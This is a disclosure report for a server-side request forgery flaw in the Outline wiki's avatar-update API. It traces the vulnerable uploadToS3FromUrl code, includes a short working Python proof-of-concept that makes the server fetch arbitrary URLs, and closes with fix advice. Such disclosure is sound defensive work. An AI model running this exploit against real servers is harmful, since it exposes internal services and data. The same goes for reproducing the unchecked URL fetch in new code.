Full Read Server-Side Request Forgery (SSRF)
Discription

# ?? Requirements

Privileges: None.

# ? Description

The `avatarUrl` post parameter from `/api/users.update` and `/api/teams.update` api endpoint isn’t sanitize and permit to get a full read SSRF exploitation. When updating user’s or team’s avatar, even if from client side we can only change it by uploading an image to s3bucket, we still can change the supplied an url to force the server fetching and uploading the content url we want. If the fetching was doing well, we get it’s url as an outpout, allowing us to retrieve the full content of the page.

– Case n°1: `/api/users.update`.

1°) The `avatarUrl` post parameter is recieved by `/server/routes/api/users.ts` on `users.update` road. ([link](https://github.com/outline/outline/blob/2d7dd558a1f5fbaf25d6acdcfbfe69f415823442/server/routes/api/users.ts#L154))

2°) Then it is sent to user `uploadAvatar` method. ([link](https://github.com/outline/outline/blob/728790e38f490eb338493cf147f5796461943dd8/server/models/User.ts#L460))

3°) Finaly it is upload via `uploadToS3FromUrl` method. ([link](https://github.com/outline/outline/blob/2a6d6f58042b477b0c175a95b554066fced6a572/server/utils/s3.ts#L173))

– Case n°2: `/api/teams.update`

1°) The `avatarUrl` post parameter is recieved by `/server/routes/api/teams.ts` on `teams.update` road. ([link](https://github.com/outline/outline/blob/7ce57c9c83e9ca1c651dc22488363ee71f5f771b/server/routes/api/team.ts#L11))

2°) Then it is sent to team `uploadAvatar` method. ([link](https://github.com/outline/outline/blob/728790e38f490eb338493cf147f5796461943dd8/server/models/Team.ts#L271))

3°) Finaly it is upload via `uploadToS3FromUrl` method. ([link](https://github.com/outline/outline/blob/2a6d6f58042b477b0c175a95b554066fced6a572/server/utils/s3.ts#L173))

In both case, the workflow is quite the same and the vulnerability occure at in the same method `uploadToS3FromUrl`.

“`js
export const uploadToS3FromUrl = async (
url: string,
key: string,
acl: string
) => {
try {
const res = await fetch(url);
// @ts-expect-error ts-migrate(2339) FIXME: Property ‘buffer’ does not exist on type ‘Response… Remove this comment to see the full error message
const buffer = await res.buffer();
await s3
.putObject({
ACL: acl,
Bucket: AWS_S3_UPLOAD_BUCKET_NAME,
Key: key,
ContentType: res.headers[“content-type”],
ContentLength: res.headers[“content-length”],
Body: buffer,
})
.promise();
const endpoint = publicS3Endpoint(true);
return `${endpoint}/${key}`;

};
“`

Here, as you can see, the fetch request result is imediatly upload to the s3bucket without verifying the `MIME type` or `remote hostname ip`. Due to this, all files from all destinations can be retrieved by the SSRF.

# ????? Proof of Concept

– Step 1: login to [getoutline.com](https://www.getoutline.com/) or to your local version.

![home.png](https://i.imgur.com/yo27gFf.png)

– Step 2: retrieve your `accessToken` cookie from the `developer` tab.

![cookies.png](https://i.imgur.com/L505tVF.png)

– Step 3: use the folowing script to exploit de SSRF:
* ssrf_url = webpage you want to get.
* accessToken = your access token
* outline_url = your outline url

“`py
from requests import post
from json import loads

ssrf_url = “https://mizu.re”
accessToken = “XXX”
outline_url = “XXX”

# init
api_url = “https://%s/api/users.update” % outline_url # Change it
headers = {
“Authorization”: “Bearer %s” % accessToken
}
json = {
“avatarUrl”: ssrf_url
}

# request
r = loads(post(url=api_url, headers=headers, json=json).text)

if “https://outline-production-attachments.s3-accelerate.amazonaws.com/” in r[“data”][“avatarUrl”]:
print(“nx1b[1m[+] SSRF output generated:”, r[“data”][“avatarUrl”], “x1b[0mn”)
else:
print(“nx1b[31;1m=== ERROR FETCHING THE WEBPAGE ===x1b[0mn”)
“`

– Step 4: go to the url and retrieve the output.

“`


“`

# ? Fix

To fix this vulnerability, I suggest you to:

– Allow only image `MIME type` like:
* image/png
* image/jpeg
– Resolve hostname IP to avoid internal HTTP query.
– Check for [magic bytes](https://en.wikipedia.org/wiki/List_of_file_signatures).

OR

– Avoid uploading files via an URL.

Depending on how you want to use `uploadToS3FromUrl` method later, I suggest you use those filters in `Team` and `User` `uploadAvatar` method or directly inside `uploadToS3FromUrl`. Directly fixing `uploadToS3FromUrl` will be more efficient and avoid any new SSRF on that endpoint but, you won’t be able to use it to upload other type files that cité above.Read More

Back to Main

Subscribe for the latest news: